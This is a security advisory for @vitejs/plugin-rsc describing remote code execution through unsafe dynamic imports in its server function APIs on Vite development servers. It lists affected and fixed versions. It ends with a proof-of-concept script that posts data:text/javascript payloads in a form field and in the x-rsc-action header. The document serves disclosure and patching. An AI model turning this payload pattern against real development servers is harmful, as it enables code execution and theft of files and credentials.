Packages / @vitejs/plugin-rsc / Security
@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server
Affected releases · @vitejs/plugin-rsc
- 0.5.x0.5.0 – 0.5.5Fixed in 0.5.6
- 0.4.x0.4.10 – 0.4.34No fix on this line yet
On 0.5.x, the newest line:
npm install @vitejs/plugin-rsc@0.5.6Affected
0.4.10 – 0.5.5
31 releases
Fixed
0.5.6 – 0.5.38
33 releases, latest
Is your project affected?
Paste your package.json, or type the range you declare for @vitejs/plugin-rsc. It is read in your browser and sent nowhere.
What happens
Summary
Arbitrary Remote Code Execution on development server via unsafe dynamic imports in @vitejs/plugin-rsc server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints.
Impact
Attackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces.
Details
In the example RSC application provided in Proof of Concept, the server handles server function call through API such as loadServerAction, decodeReply, decodeAction with http request's header and body as inputs:
github.com/vitejs/vite-plugin-react/blob/c8af97…
During development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.
github.com/vitejs/vite-plugin-react/blob/c8af97…
Proof of Concept
The example app is avialable in
Reproduction Steps:
Stat development server
vite devRun a following script
node poc.jsSee "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console
// [poc.js]
const payload = {
0: ["$F1"],
1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
fd.append(key, JSON.stringify(payload[key]));
}
const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
method: "POST",
headers: {
"x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
},
body: fd,
})